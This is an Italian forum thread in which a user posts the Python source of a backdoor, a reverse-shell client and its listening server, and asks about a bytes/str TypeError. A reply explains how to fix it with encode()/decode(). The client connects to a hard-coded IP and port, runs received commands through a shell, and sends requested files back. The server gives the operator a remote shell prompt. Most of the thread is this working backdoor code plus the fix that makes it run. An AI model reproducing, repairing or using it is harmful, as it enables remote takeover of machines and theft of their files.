Domanda Risolto errore con una backdoor in python

Stato
Discussione chiusa ad ulteriori risposte.

k0Br@3390

Utente Bronze
16 Marzo 2020
46
18
1
31
ho un problema con questa backdoor, nel file "client_tcp_reverse_shell" mi esce l'errore TypeError: a bytes-like object is required, not 'str'
a riga 34, potete aiutarmi?
Messaggio unito automaticamente:

Python:
from os import path
import socket
import subprocess
import os

def transfer(s,path):
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet != '':
            s.send(packet)
            packet = f.read(1024)
        s.send('DONE')
        f.close()

    else:
        s.send('Unable to find out the file')

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.1.249', 1237))   #andrà messo l'ip della macchina

    while True:
        command = s.recv(1024)
        if 'terminate' in command:
            s.close()
            break

        elif 'grab' in command:
            grab,path = command.split('*')
            try:
                transfer(s,path)
            except Exception:
                s.send(str(" "))
                pass

        else:
            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read()   )
            s.send( CMD.stderr.read()   )

def main():
    connect()
main()
Messaggio unito automaticamente:

import socket
Python:
import socket
import subprocess
import os


def transfer(conn, command):
    conn.send(command)
    f = open('/home/kobra3390/Scrivania/backdoor.png', 'wb')
    while True:
        bits = conn.recv(1024)
        if 'Unable to find out the file' in bits:
            print('[-] Nessun file trovato')
            break
        if bits.endswith('DONE'):
            print('Download Completed')
            f.close()
            break
        f.write(bits)

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('192.168.1.249', 1237))
    s.listen(1)
    print('[+] Listening for incoming TCP connection on port 1237')
    conn, addr = s.accept()
    print("Connecting to: ", addr)
    while True:
        command = input("Shell> ")
        if 'terminate' in command:
            conn.send('terminate')
            conn.close()
            break
        elif 'grab' in command:
            transfer(conn, command)
        else:
            conn.send(command)
            print (conn.recv(1024))

def main():
    connect()
main()
 
Il problema è che mandi all'interno dello stream dei socket una stringa ma gli stream agiscono su un seriale di Byte, quindi dovresti mandare all'interno dei socket.send() un Byte Object e non una Stringa. Per farlo, basta semplicemente codificare le stringhe con encode() (in fase di scrittura sullo stream, ossia nel send()), viceversa si usa decode() di quello che si riceve con il recv() che rappresenta lo stream in fase di lettura).

Es:

Python:
void_string = " "
# s è un Socket Object
# fase di scrittura
s.send(void_string.encode())

# fase di lettura
conn.recv(1024).decode()
 
  • Mi piace
Reazioni: GrincH-- e 0xbro
Stato
Discussione chiusa ad ulteriori risposte.